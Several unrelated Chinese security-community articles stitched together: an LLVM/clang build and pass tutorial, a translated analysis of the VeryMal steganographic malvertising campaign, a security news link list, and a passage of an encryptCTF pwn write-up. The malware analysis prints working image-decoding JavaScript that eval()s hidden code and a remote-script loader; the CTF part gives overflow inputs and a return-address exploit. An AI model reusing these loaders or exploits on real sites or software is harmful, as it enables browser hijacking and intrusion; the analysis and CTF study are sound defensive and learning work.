cd ../../../projects/
wget http://releases.llvm.org/8.0.0/compiler-rt-8.0.0.src.tar.xz
wget http://releases.llvm.org/8.0.0/libcxx-8.0.0.src.tar.xz
wget http://releases.llvm.org/8.0.0/libcxxabi-8.0.0.src.tar.xz
tar -xf ./compiler-rt-8.0.0.src.tar.xz && rm ./compiler-rt-8.0.0.src.tar.xz
tar -xf libcxx-8.0.0.src.tar.xz && rm libcxx-8.0.0.src.tar.xz
tar -xf libcxxabi-8.0.0.src.tar.xz && rm libcxxabi-8.0.0.src.tar.xz
mv compiler-rt-8.0.0.src ./compiler-rt
mv libcxx-8.0.0.src ./libcxx
mv libcxxabi-8.0.0.src ./libcxxabi
cd ../../ && mkdir build && cd build
cmake -G "Unix Makefiles" -DCMAKE_BUILD_TYPE=Release ../llvm-8.0.0
make -j4
sudo make install
make
-j4这里的-j4参数表示同时使用4个核心的cpu进行编译，可根据不同机器调整，这里用wget从官网下载速度挺慢的，可以用下载器下载好在放入相应的目录中
整个过程持续一个小时，编译完成后LLVM文件夹足足有3.3G，最后尝试./bulid/bin/clang++ -v
上面脚本中的官网下载速度属实8行，所以我这里传到gitee上了，方便下载：<https://gitee.com/Z3R3F/LLVM>
如图所示，说明编译安装成功
这时clang也可以直接使用了，为了测试一下clang，可以用clang再编译一次llvm
同样在build目录下执行：
> CC=clang CXX=clang++ cmake -G "Unix Makefiles" -DCMAKE_BUILD_TYPE=Release
> ../llvm-8.0.0
>
> make -j4
>
> sudo make install
可以发现clang的编译速度简直完虐gcc。。。速度快太多了
# clang使用
## 基本使用
#include <iostream>
using namespace std;
int main()
{
cout << "Hello, world!" << endl;
return 0;;
}
编译c++，使用c++11的标准和libc++库
> clang++ -std=c++11 -stdlib=libc++ test.cpp
检验x.cpp的语法正确性
> clang test.cpp -fsyntax-only
clang -S和-c的参数作用
-c : Only run preprocess, compile, and assemble steps，表示仅进行预处理和编译部分步骤，输出一个重定位elf，但无法运行，执行`clang++ -std=c++11 -stdlib=libc++ ./test1.cpp -S -o test`,结果如图：
-S Only run preprocess and compilation steps，表示只进行预处理和编译部分步骤，输出一个可读汇编文本
输出x.cpp未优化的LLVM代码，执行`clang++ -std=c++11 -stdlib=libc++ ./test1.cpp -c -o
test`,结果如图
> clang++ -std=c++11 -stdlib=libc++ test.cpp -S -emit-llvm -o test
-emit-llvm ：Use the LLVM representation for assembler and object files，表示使用llvm的ir中间语言的表示方法描述汇编和目标文件
输出x.cpp经过O3级别优化的LLVM IR中间代码
> clang++ -std=c++11 -stdlib=libc++ test.cpp -S -emit-llvm -o test -O3
## clang编译过程
#include <stdio.h>
int main() {
printf("hello world\n");
return 0;
}
//test1.c
查看各个阶段：
clang -ccc-print-phases test1.c
查看预处理过程，主要作用是 将#include,
@import，#import引入，引入头文件内容，宏定义的代码替换，条件编译（#ifdef），删除注释等。
> clang -E test1.c
词法分析，生成Token，将代码分解，生成一个个 Token。Token是代码的最小单元, Token类型包括：关键字，标识符，字面量，特殊符号。
> clang -fmodules -E -Xclang -dump-tokens test1.c
验证语法正确性，将所有Token组成AST抽象语法树
> clang -fmodules -fsyntax-only -Xclang -ast-dump test1.c
TranslationUnitDecl 根节点，表示一个编译单元
节点主要有三种：Type类型，Decl声明，Stmt陈述
ObjCInterfaceDecl OC中Interface声明
FunctionDecl 函数声明
ParmVarDecl 参数声明
CompoundStmt 具体语句
DeclStmt 语句声明
VarDecl 变量声明
IntegerLiteral 整数字面量
BinaryOperator 操作符
ImplicitCastExpr 隐式转换
DeclRefExpr 引用类型声明
ReturnStmt 返回语句
使用clang的API可针对AST进行相应的分析及处理。
# 中间语言IR
IR，即 Intermediate language ，有两种表示样式：
## **文本格式**
便于阅读的文本格式，类似于汇编格式，后缀为.ll
也就是上面所说的`clang test1.c -S -emit-llvm -o test`
生成的test严格意义上是.ll后缀的文本格式，只不过-o的时候没有指定.ll后缀
## **二进制格式**
不可读，后缀为.bc，可以使用使用llvm-dis工具可将其转化为.ll文件
生成命令：`clang test1.c -c -emit-llvm -o test.bc`
相互转换：
.bc转换为 .ll `llvm-dis test.bc`
.ll 或者 .bc 转换为汇编文件：`llc ./test.ll -o test.s`
这里有一张图很好描述了相关后缀文件之间的转换关系：
## IR语法
IR是基于寄存器的指令集，只能通过load和store指令来进行CPU和内存间的数据交换。
IR关键字意义：
* ; 注释，以;开头直到换行符
* define 函数定义
* declare 函数声明
* i32 所占bit位为32位
* ret 函数返回
* alloca 在当前执行的函数的栈空间分配内存，当函数返回时，自动释放内存
* align 内存对齐
* load 读取数据
* store 写入数据
* icmp 整数值比较，返回布尔值结果
* br 选择分支，根据cond来转向label
* label 代码标签
* %0，%1分别为函数参数
LLVM IR 标识符有两种基本类型：
* 全局标识符（函数，全局变量）以’@’字符开头
* 本地标识符（寄存器名称，类型）以’%’字符开头
以一个变量%x乘以8为例子，可以有三种IR汇编写法
#乘法运算
%result = mul i32 %X, 8
#左移运算
%result = shl i32 %X, 3
#三次加法运算
%0 = add i32 %X, %X ; yields {i32}:%0
%1 = add i32 %0, %0 ; yields {i32}:%1
%result = add i32 %1, %1
到这里其实IR的语法格式大体上并不难理解，还是标准的三元格式： 操作符+操作数1+操作数2
只不过多了一些赋值和数据类型等花里胡哨的东西
LLVM程序由Module组成，每个程序模块都是输入程序的翻译单元。每个模块由函数，全局变量和符号表条目组成。模块可以与LLVM链接器组合在一起，LLVM链接器合并函数（和全局变量）定义，解析前向声明，并合并符号表条目
**例子**
#include <stdio.h>
#define MONEY 0x200;
int main()
{
//hello world!
char name[0x10]={0};
int age=0x20;
int money=age+0x100+MONEY;
printf("hello!\ninput your name:");
read(0,name,0x10);
puts(name);
return 0;
}
void test(int a, int b)
{
int c =a+b+0x666;
}
如上所示源码转换成IR后，main函数如下
; Function Attrs: argmemonly nounwind
declare void @llvm.memset.p0i8.i64(i8* nocapture writeonly, i8, i64, i1) #1
declare dso_local i32 @printf(i8*, ...) #2
declare dso_local i32 @read(...) #2
declare dso_local i32 @puts(i8*) #2
@.str = private unnamed_addr constant [24 x i8] c"hello!\0Ainput your name:\00", align 1
; Function Attrs: noinline nounwind optnone uwtable
define dso_local i32 @main() #0
{
%1 = alloca i32, align 4
%2 = alloca [16 x i8], align 16
%3 = alloca i32, align 4
%4 = alloca i32, align 4
store i32 0, i32* %1, align 4
%5 = bitcast [16 x i8]* %2 to i8*
call void @llvm.memset.p0i8.i64(i8* align 16 %5, i8 0, i64 16, i1 false)
store i32 32, i32* %3, align 4
%6 = load i32, i32* %3, align 4
%7 = add nsw i32 %6, 256
%8 = add nsw i32 %7, 512
store i32 %8, i32* %4, align 4
%9 = call i32 (i8*, ...) @printf(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str, i32 0, i32 0))
%10 = getelementptr inbounds [16 x i8], [16 x i8]* %2, i32 0, i32 0
%11 = call i32 (i32, i8*, i32, ...) bitcast (i32 (...)* @read to i32 (i32, i8*, i32, ...)*)(i32 0, i8* %10, i32 16)
%12 = getelementptr inbounds [16 x i8], [16 x i8]* %2, i32 0, i32 0
%13 = call i32 @puts(i8* %12)
ret i32 0
}
test函数如下
; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @test(i32, i32) #0
{
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
store i32 %0, i32* %3, align 4
store i32 %1, i32* %4, align 4
%6 = load i32, i32* %3, align 4
%7 = load i32, i32* %4, align 4
%8 = add nsw i32 %6, %7
%9 = add nsw i32 %8, 1638
store i32 %9, i32* %5, align 4
ret void
}
全局变量用`unnamed_addr`来标记，表示地址不重要，只有内容
`nsw` 是“No Signed Wrap”缩写，是一种无符号值运算的标识
`nuw` 是“ No Unsigned Wrapp”缩写，是一种有符号值运算的标识
`bitcast ... to ..`是类型转换指令，可以在不修改数据的前提下转换数据类型
例如，上面的`%5 = bitcast [16 x i8]* %2 to i8*`
意思是把变量%2(原本的类型是一个指向16字节的数组指针) 转换为一个指向字符的指针，然后%5存储转换后的指针
函数或者变量用`dso_local`标记，表示解析为同一链接单元中的符号， 即使定义不在此编译单元内，也会直接访问
使用`define`定义函数时，遵守以下定义规则：
define [linkage] [PreemptionSpecifier] [visibility] [DLLStorageClass]
[cconv] [ret attrs]
<ResultType> @<FunctionName> ([argument list])
[(unnamed_addr|local_unnamed_addr)] [AddrSpace] [fn Attrs]
[section "name"] [comdat [($name)]] [align N] [gc] [prefix Constant]
[prologue Constant] [personality Constant] (!name !N)* { ... }
参数列表是逗号分隔的参数序列，其中每个参数遵守以下规则
<type> [parameter Attrs] [name]
其中<>中为必填项，[]中为可选项
更多IR语法可参考： <http://llvm.org/docs/LangRef.html>
，这个页面非常大，可以通过最开头的目录快速找到相应IR指令的语法
# pass
LLVM的优化即对中间代码IR优化，由多个Pass来完成，每个Pass完成特定的优化工作。
可以分组比如像 clang命令的参数如-O2，-O3, -O4等。
Pass即为一层一层相互独立的IR优化器。可以做到代码优化，代码混淆等
pass一般有以下几种分类
这里首先需要了解几个概念:
Module, Function, BasicBlock, Instruction, Value
* Module: 包含 Function，简单的说就是一个.c或者.cpp文件的集合，它包含了许多的function，main就是其中一种
* Function：包含若干 BasicBlock，也就是一个函数里面会有很多的代码嘛，每一段顺序执行的代码都是一个BasicBlock
* BasicBlock：包含若干 Instruction，也就是包含若干个汇编层指令了，想add啊sub啊之类的
* Instruction: 具体到每一个指令，就保护了若干个opcode，或者说value
* 指令的格式一般为： 操作符+操作数
为了直观的体现出pass的作用，这里举个例子，编写一些简单的pass
mkdir outpass
cd outpass
mkdir print_pass
在outpass文件夹中创建一个CMakeLists.txt文件，内容为以下：
cmake_minimum_required(VERSION 3.4)
set(ENV{LLVM_DIR} ~/LLVM/bulid/lib/cmake/llvm) #这里设置LLVM_DIR变量为前面编译安装llvm的build目录下的/lib/cmake/llvm
find_package(LLVM REQUIRED CONFIG)
add_definitions(${LLVM_DEFINITIONS})
include_directories(${LLVM_INCLUDE_DIRS})
link_directories(${LLVM_LIBRARY_DIRS})
# add c++ 14 to solve "error: unknown type name 'constexpr'"
add_compile_options(-std=c++14)
add_subdirectory(Print_FuncPass) # Use your pass name here.
然后cd print_pass，再创建一个CMakeLists.txt文件，内容为以下：
add_library(PrintFunctions MODULE
#这里填写pass文件名
Print_FuncPass.cpp
)
# LLVM is (typically) built with no C++ RTTI. We need to match that;
# otherwise, we'll get linker errors about missing RTTI data.
set_target_properties(PrintFunctions PROPERTIES
COMPILE_FLAGS "-fno-rtti"
)
# Get proper shared-library behavior (where symbols are not necessarily
# resolved when the shared library is linked) on OS X.
if(APPLE)
set_target_properties(PrintFunctions PROPERTIES
LINK_FLAGS "-undefined dynamic_lookup"
)
endif(APPLE)
最后就是编写pass了，pass本质上也是一个c++，创建Print_FuncPass.cpp，内容如下
#include "llvm/Pass.h"
#include "llvm/IR/Function.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/IR/LegacyPassManager.h"
#include "llvm/Transforms/IPO/PassManagerBuilder.h"
using namespace llvm;
namespace {
struct Hello : public FunctionPass
{
static char ID;
Hello() : FunctionPass(ID) {}
virtual bool runOnFunction(Function &F)
{
//输出当前调用的函数名
errs() << "A function has been called: " << F.getName() << "!\n";
return false;
}
};
}
char Hello::ID = 0;//实例化hello
static RegisterPass<Hello> X("print_func", "print func name PASS",
false /* Only looks at CFG */,
false /* Analysis Pass */);
//注册到 opt 中,通过 opt -print_func 来使用该pass，第一个参数用于命令行，第二个参数是说明该pass的作用，第三个参数用于cfg时才需要true，第四个参数用于分析pass的时候才需要true
static RegisterStandardPasses Y(
PassManagerBuilder::EP_EarlyAsPossible,
[](const PassManagerBuilder &Builder,
legacy::PassManagerBase &PM) { PM.add(new Hello()); });
//注册到标准编译流程中，默认会执行该pass，通过 clang 即可调用pass，如果不进行RegisterStandardPasses注册，则clang无法调用pass，只能通过opt
这个pass的作用是每次调用一个函数，就会输出其函数的名字
pass编写完了，就直接编译
在outpass目录下执行：
cmkae .
make
编译完成后会生成一个.so文件，接下来就需要一个test.c来验证pass的效果
在outpass目录编写一个test.c
#include <stdio.h>
int func2()
{
int a,b =1;
return a+b;
}
int func1()
{
int a,b =1;
func2();
return a+b;
}
int main()
{
func1();
return 0;
}
最后就调用pass作用在这个test.c了，有两种方式
**一、直接使用clang**
`clang -Xclang -load -Xclang ./outpass/Print_FuncPass/libPrintFunctions.so
./test.c`
输出如图
**二、使用opt**
首先要用clang生成.bc文件
`clang -emit-llvm -c ./test.c`
然后再使用opt
`opt -load ./outpass/Print_FuncPass/libPrintFunctions.so -print_func <
./test.bc`
输出如图
当输入`opt -load ./outpasses/Print_FuncPass/libPrintFunctions.so -help`可以看到
这说明我们paas中的RegisterPass注册方法是有效的，print_func的参数选项显示在-help下供选择择
# 相关参考链接
官方： <http://llvm.org/>
GitHub：<https://github.com/llvm-mirror/llvm>
官方历史版本下载页面： <http://releases.llvm.org/download.html>
llvm中文文档网： <https://llvm.comptechs.cn/>
<http://www.aosabook.org/en/llvm.html>
<http://ruiy.leanote.com/post/ubuntu16.04-%E5%AE%89%E8%A3%85-llvm>
<https://www.leadroyal.cn/?cat=20>
<https://juejin.im/post/5ddbda4051882572f56b57b8>
<https://juejin.im/post/5e01dc03f265da33e67b4873> | 社区文章 |
# 摘要
最近几个月，隐藏在图像文件中的JavaScript恶意软件的报告大量增加。在大多情况下，这通常被称为“基于图像的恶意软件”或“隐写恶意软件”。
> 名词：隐写术。
> 在其他非机密文本或数据中隐藏消息或信息的行为。
这篇文章将研究一个被恶意用户使用的基于隐写术的payload，该payload被Confiant根据其广告服务域名veryiel-malyst.com命名为VeryMal。Malwarebytes分析了恶意二进制文件。根据我们的报道范围统计，多达500万访问者可能已经受到最近的恶意软件活动的影响。
# 分析
完全执行payload的结果是这种熟悉的浏览器劫持：
很多关于这类攻击的传言都耸人听闻，以至于用户都相信仅仅图像文件就会对我们造成威胁，于是，人们便对日常浏览器加载的图像产生了担忧。但这与事实大相径庭。在执行这些payload的更广泛的上下文中，验证广告服务中单个图像文件的完整性是没有什么意义的。
实际上，隐写术的作用仅仅为了传递payload的一部分，需要对图像进行处理，以便提取并利用该片段。图像本身不会损害您的计算机或重定向您的浏览器。
让我们看看源码：
<canvas id='iak'></canvas>
<script >
var wsw = "10512" ;var volton = "154c8e99-aad0-4658-b5fb-645c751ad42b";
var canvas = document['getElementById']('iak');
var ctx = canvas['getContext']('2d');
var image = new Image();
image['crossOrigin'] = '';
image['src'] = 'http://s.ad-pixel.com/sscc.jpg';
var rs = '';
var isSupportFontFamily = function (c) {
if (typeof c != 'string') {
return ![];
}
var d = 'Arial';
if (c['toLowerCase']() == d['toLowerCase']()) {
return !![];
}
var e = 'a';
var f = 0x64;
var g = 0x64, h = 0x64;
var i = document['createElement']('canvas');
var j = i['getContext']('2d');
i['width'] = g;
i['height'] = h;
j['textAlign'] = 'center';
j['fillStyle'] = 'black';
j['textBaseline'] = 'middle';
var k = function (l) {
j['clearRect'](0x0, 0x0, g, h);
j['font'] = f + 'px\x20' + l + ',\x20' + d;
j['fillText'](e, g / 0x2, h / 0x2);
var m = j['getImageData'](0x0, 0x0, g, h)['data'];
return []['slice']['call'](m)['filter'](function (n) {
return n != 0x0;
});
};
return k(d)['join']('') !== k(c)['join']('');
};
var riXs = document['getElementsByTagName']('body');
var rrxT = riXs[0x0]['style']['cssText'];
if (isSupportFontFamily('-apple-system') && rrxT != 'margin:\x200px;') {
image['onload'] = function () {
ctx['drawImage'](image, 0x0, 0x0);
var o = ctx['getImageData'](0x0, 0x0, image['width'], image['height']);
for (var p = 0x0, q = 0x0; q < 0x4b; p = p + 0x4, q++) {
rs += String['fromCharCode'](o['data'][p + 0x2]);
}
eval(rs);
};
}
</script>
如果给代码加注释，应该是这样：
创建一个Canvas对象(这允许使用HTML5 Canvas API来与图像及其底层数据进行交互)。
抓取位于以下位置的图像：hxxp://s.ad-pixel.com/sscc.jpg
定义用于检查浏览器中是否支持特定字体系列的函数。
检查是否支持Apple fonts。如果不支持，什么都不做。
如果支持，则循环访问图像文件中的基础数据。每个循环读取一个像素值并将其转换为字母数字字符。
将新提取的字符添加到字符串中。
执行字符串中的代码。
笼统地说，图像利用非可执行文件格式来存储压缩数据，当浏览器或您选择的其他图像查看器加载图像文件时，它基本上会解压该文件并使用数据一次一个像素地绘制图像。上面的“恶意”图像在十六进制编辑器中如下所示：
就像图像查看器需要解压缩这些数据以呈现最终结果一样，Web开发人员可以使用JavaScript和HTML5 Canvas API对图像数据进行简单的操作。
数据操作只发生在几行代码中：
图像本身就是一个白色的小条：
隐藏的代码一旦从图像中提取出来：
top.location.href =’hxxp://veryield-malyst.com/’ + volton + ‘?var1=’ + wsw;
这是填充的参数：
hxxp://veryield-malyst.com/154c8e99-aad0–4658-b5fb-645c751ad42b?var1=10512
随着恶意广告检测的不断成熟，老练的攻击者开始了解到明显的混淆方法不再能进行有效地攻击。常见JavaScript混淆器输出的是一种乱的不能再乱的乱码，肉眼很容易识别。像隐写术这样的技术对于恶意携带payload很有用，而不再需要依赖十六进制编码的字符串或庞大的查找表。
举个栗子，“verduce-malyst”域名已经活跃了几个月，但直到最近，VeryMal才开始使用隐写术携带payload。以下是他们在11月初发布的广告标签中的一个，以供比较：
<script type='text/javascript'>
var a = 'w';
var b = 'layback';
var c = 'Target'
var d = 'vailability';
var e = 'vent';
var kk = 'c330e369ea42';
var f = a.toUpperCase() + 'ebKit' + 'P' + b + c + 'A' + d + 'E' +e;
if(f in window) {
ar sc = document.createElement("script");
ar mandow = "79d5e561-1a8d-48f6-abdb-495df89ec5e.";
ar ctt = "s3.amazonaws.com";
c.setAttribute("src", "https://" + mandow + ctt + "/csqc.js");
c.setAttribute("type", "text/javascript");
document.head["app" + "endC" + "hild"](sc);
}
</script>
翻译成白话非常简洁：
检查Window对象中是否存在“WebKitPlaybackTargetAvailabilityEvent”(Safari定位策略)。
如果是，请执行位于以下位置的JavaScript：
hxxps://79d5e561–1a8d-48f6-abdb-495df89ec5e.s3.amazonaws.com/csqc.js
我们对那里的代码很熟悉：
top.location.href = "hxxp://veryield-malyst.com/f7e156be-fc09-4b1b-a052-d48d2aac69fc?var1=" + kk
# 恶意活动的历史
自去年8月份以来，VeryMal一直在利用veryield-malyst域作为他们的重定向器——这一个值得我们关注，因为它利用了隐写术来进行客户端混淆。
该活动于2019年11月1日至2019年1月13日在两家顶级交易所展开，这两家交易所占前100家出版商网站的25%。
在我们的客户中，Confiant检测到并阻止了191,970次攻击，只有美国访客成为攻击目标。
VeryMal在12月份也有几次攻击活动
# 方法
VeryMal利用HTTP 302重定向通过他们的veryfield-malyst.com域名到adpiano.com--一个鲜为人知的平台，这个网站与塞浦路斯有着某种联系。
Adpiane充当这些行为和其他恶意行为的点击跟踪器，包括但不限于：
- morningflashsee.club
- bestadbid.com
- newadvancetypeliteflash.services
- doconcretegreatliteflash.icu
- firstfetchflash.club
- windowinstalldealaflash.icu
- upgradebestfinishtheclicks.icu
- booe.pro
- freecalculation.com
强制重定向并不是这些攻击者的唯一攻击载体，因为他们被观察到公然以Flash更新和PC修复软件为幌子为他们的恶意软件安装程序运行显示广告。十二月份攻击活动的恶意广告：
最近的VeryMal广告系列利用重定向链中的以下(仍处于活动状态)点击跟踪器来删除伪造的Flash更新：
hxxps://cs.adpiano.com/kokodzbambo/aaoaeeea/?utm_source=1236&utm_campaign=1616984&aff_sub=w3SGFK32C602JCMJHKLPR5FC&clck=w3SGFK32C602JCMJHKLPR5FC&sid=w3SGFK32C602JCMJHKLPR5FC
此广告系列的目标网页会轮流展示各种.icu域名的主题，如下所示：
mixmaintenancegreatliteflash.icu
mediafreshgreatliteflash.icu
由于广告系列本身针对的是特定平台和消息传递，因此目前尚不清楚它们的轮换次数或旋转次数。此报告的内容是通过Mac OS上的Google Chrome收集的。
我们已经观察到所有登陆页面都强制下载名为AdobeFlashPlayerInstaller.iso的文件
Virus Total:
https://www.virustotal.com/#/file/75426777c469dbce816dc197b5bef518f4eca577e9c53e4679d81db2780a262f/detection
来自MalwareBytes的AdamThomas([@adamt5Six](https://twitter.com/adamt5Six
"@adamt5Six"))非常热心地提供了对二进制文件的进一步分析，如下所示。谢谢亚当！
> 样本名称：AdobeFlashPlayerInstaller.iso
> SHA-256：75426777c469dbce816dc197b5bef518f4eca577e9c53e4679d81db2780a262f
> 文件类型：Macintosh磁盘镜像
> 数字签名：2J5Q8FU8C6（Apple Team ID）
与应用程序包中包含的普通mach-o(mac二进制)不同，我们在这里找到了一个shell脚本。该脚本解密应用程序资源目录中包含的AES-256加密文件：
首先，我们必须从文件中去除Base64编码：
> $ openssl enc -d -aes-256-cbc -nosalt -pass pass：5683436752 -in enc.out -out
> enc.out.bin
去除编码并使用openssl解密后，我们看到一个可读的脚本：
该脚本的工作原理是去除Base64编码的另一层，使我们得到十六进制格式的字符串：
然后，脚本将十六进制转换为ASCII格式，显示另一个脚本和第一阶段下载程序的最后一层。下载并执行受密码保护的ZIP文件：
在payload执行之后，还会出现对脚本的其他请求，这些请求被认为有助于呈现广告软件投放器的安装屏幕。可能它们还可以自动点击广告软件安装程序。
通过对基于Windows的恶意软件的分析，MalwareBytes还能够提供一些额外的可见性，以了解这攻击者MO的内部工作原理。初始.icu域执行302重定向到以www2开头的另一个.icu。
攻击者基础架构主要由.icu域构成，这些域由数十个域创建并在AWS IP空间中移动。URL是使用特定参数生成的，通常使用非常短的TTL。
whenupgrade.yourbestsiteforlinksitenew.xyz
workingversion.theperfectupdate4everyone.xyz
www.checkdealgoldliteflash.icu
www.fasterdltypeliteflash.icu
www.fixmaintainbestaflash.icu
www.makebestmaintainaflash.icu
www.midgreatdlliteflash.icu
www.mixmaintainbestaflash.icu
www.savegolddealliteflash.icu
www.smallbestappleliteflash.services
www.topfuturetypeaflash.icu
www.upgradedltypeliteflash.icu
Windows Installer VirusTotal：
https://www.virustotal.com/#/file/6efb37adef3ae68cc3d7cc0512ae82eab4a39b1880e00412ce50f5c423eba00d/detection
# 结论
根据Confiant观察到，高峰期内，此特定攻击的每天超过500w次。这500万种恶意攻击对收入的影响需要从许多不同方面加以衡量。出版商直接从中断的用户会话中损失金钱，并从增加的广告拦截使用和用户信任损失中损失未来的金钱。
有些广告交易平台在与感染作斗争时切断了广告资源，并且会让一些发布商永久性地撤消库存。广告客户将受到受感染设备产生的广告欺诈的打击。让我们不要忽视现在拥有受感染设备的用户。据估计，仅1月11日这个峰值的成本影响就已经超过120万美元。当你考虑到这只是过去一个月来Contant发现并阻止的数百起攻击中的一起，数字广告业面临的问题的规模就变得更清晰了。
翻译文章：https://blog.confiant.com/confiant-malwarebytes-uncover-steganography-based-ad-payload-that-drops-shlayer-trojan-on-mac-cd31e885c202 | 社区文章 |
# 【知识】4月24日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： 利用Mac上的Outlook进行钓鱼(CVE-2017-0207)、Jared Atkinson和Joe
Desimone发布的一个查找内存注入的powershell脚本、** **通过ESIL的方式分析RIG漏洞利用套件中的Silverlight
2016–0034** **、 WikiLeaks 公开 CIA 入侵三星智能电视的方法、逻辑漏洞各种姿势、GlassFish 目录穿越漏洞测试过程**
**
**
****国内热词(以下内容部分摘自 http://www.solidot.org/)：****
* * *
****
****
WikiLeaks 公开 CIA 入侵三星智能电视的方法
超过 1 万台 Windows 电脑可能感染了 NSA 后门
**资讯类：**
* * *
****
****
****
****
[](https://www.hackread.com/darkoverlord-hacks-westpark-capital-bank/)
SMSVOVA间谍软件隐藏在GOOGLE PLAY商店中的“系统更新”应用中
<https://threatpost.com/smsvova-spyware-hiding-in-system-update-app-ejected-from-google-play-store/125143/>
你可能看到的是假的苹果榜单，App Store 刷榜黑幕大揭秘
[https://mp.weixin.qq.com/s?__biz=MjM5MTg5NTU0MQ==&mid=2653801356&idx=1&sn=3d3d1da0e95aeb02d5ed002104cfef14](https://mp.weixin.qq.com/s?__biz=MjM5MTg5NTU0MQ==&mid=2653801356&idx=1&sn=3d3d1da0e95aeb02d5ed002104cfef14)
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
利用Mac上的Outlook进行钓鱼(CVE-2017-0207)
<https://www.utkusen.com/blog/old-school-phishing-vulnerability-on-outlook-for-mac-cve-2017-0207.html>
SquirrelMail <= 1.4.22 远程代码执行PoC Exploit (CVE-2017-7692)可以结合之前爆出的phpmailer漏洞看看
<https://legalhackers.com/advisories/SquirrelMail-Exploit-Remote-Code-Exec-CVE-2017-7692-Vuln.html>
Jared Atkinson和Joe Desimone发布的一个查找内存注入的powershell脚本
<https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2>
一个检测MySql盲注的脚本
<https://github.com/missDronio/blindy>
通过ESIL的方式分析RIG漏洞利用套件中的Silverlight 2016–0034
<https://medium.com/@nicholas.rafter/unpacking-rig-ek-shellcode-using-esil-71aba07366b0>
包含多个 web apps 漏洞的虚拟机镜像
<https://www.vulnhub.com/entry/lab26-1,190/>
GlassFish 目录穿越漏洞测试过程
<https://www.leavesongs.com/PENETRATION/glassfish-arbitrary-file-reading-vulnerability.html>
（方程式）fb框架python命令行版本
<https://github.com/nopernik/fuzzbunch_wrapper>
Vulhub：漏洞测试/环境一键搭建项目
<https://github.com/phith0n/vulhub/>
递归DNS服务器指纹
<https://recdnsfp.github.io/>
Linux桥的实现和设置
<https://vincent.bernat.im/en/blog/2017-linux-bridge-isolation>
Linux/x86 – Egg-hunter Shellcode (18 bytes)
<https://www.exploit-db.com/exploits/41909/>
imageworsener（图像处理库）被爆存在多个漏洞
<http://www.openwall.com/lists/oss-security/2017/04/23/3>
WikiLeaks 公开 CIA 入侵三星智能电视的方法
<https://wikileaks.org/vault7/#Weeping%20Angel>
OsmoCon 2017大会视频发布
<https://media.ccc.de/c/osmocon17>
逻辑漏洞各种姿势
<http://mp.weixin.qq.com/s/WQkZhPfQpL-Oxcv_5w_Pww>
QQ连连看单机版分析总结
<http://bbs.pediy.com/thread-217197.htm> | 社区文章 |
# ADB.Miner：恶意代码正在利用开放了ADB 接口的安卓设备挖矿
##### 译文声明
本文是翻译文章，文章来源：blog.netlab.360.com
原文地址：<http://blog.netlab.360.com/early-warning-adb-miner-a-mining-botnet-utilizing-android-adb-is-now-rapidly-spreading/>
译文仅供参考，具体内容表达以及含义原文为准。本文翻译自blog.netlab.360.com
[原文链接](http://blog.netlab.360.com/early-warning-adb-miner-a-mining-botnet-utilizing-android-adb-is-now-rapidly-spreading/)。如若转载请注明出处。
商务合作，文章发布请联系 [email protected]
本文由 **360网络安全研究院** 原创发布
转载，请参考[转载声明](https://www.anquanke.com/note/repost)，注明出处：
[https://www.anquanke.com/post/id/97422](/post/id/97422)
安全客 - 有思想的安全新媒体
本文转载自: [blog.netlab.360.com](http://blog.netlab.360.com/early-warning-adb-miner-a-mining-botnet-utilizing-android-adb-is-now-rapidly-spreading/)
如若转载,请注明出处： <http://blog.netlab.360.com/early-warning-adb-miner-a-mining-botnet-utilizing-android-adb-is-now-rapidly-spreading/>
安全客 - 有思想的安全新媒体
分享到：
* [挖矿](/tag/挖矿)
* [恶意代码](/tag/恶意代码)
**+1** __0赞
__收藏
360网络安全研究院
分享到： | 社区文章 |
# encryptCTF2019 pwn&web
周中跟着大佬们打了一场国外的CTF，题目不是很难，不过很适合新人练练手。其中我AK了pwn和web的题目，pwn题难度较低，对我这些萌新十分友好，web带点脑洞，其中两题python站的题目还是不错的，可以借此熟悉一下`virtualenv`的操作和`ssti`注入。
## pwn
### pwn0
[*] '/home/kira/pwn/encryptCTF/pwn0'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-44h]
char s1; // [esp+5Ch] [ebp-4h]
setvbuf(stdout, 0, 2, 0);
puts("How's the josh?");
gets(&s);
if ( !memcmp(&s1, "H!gh", 4u) )
{
puts("Good! here's the flag");
print_flag();
}
else
{
puts("Your josh is low!\nBye!");
}
return 0;
}
思路：只要`s1`内容为`H!hg`即可getflag，那么直接在输入`s`的时候溢出覆盖`s1`就行了。
# kira @ k1r4 in ~/pwn/encryptCTF on git:master x [14:04:34]
$ nc 104.154.106.182 1234
How's the josh?
H!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!ghH!gh
Good! here's the flag
encryptCTF{L3t5_R4!53_7h3_J05H}
### pwn1
[*] '/home/kira/pwn/encryptCTF/pwn1'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+10h] [ebp-80h]
setvbuf(stdout, 0, 2, 0);
printf("Tell me your name: ");
gets(&s);
printf("Hello, %s\n", &s);
return 0;
}
思路：程序没开canary，自带getshell的后门函数，直接栈溢出覆盖ret地址即可。
from pwn import *
p = remote('104.154.106.182', 2345)
p.sendline('a'*140+p32(0x80484AD))
p.interactive()
### pwn2
[*] '/home/kira/pwn/encryptCTF/pwn2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
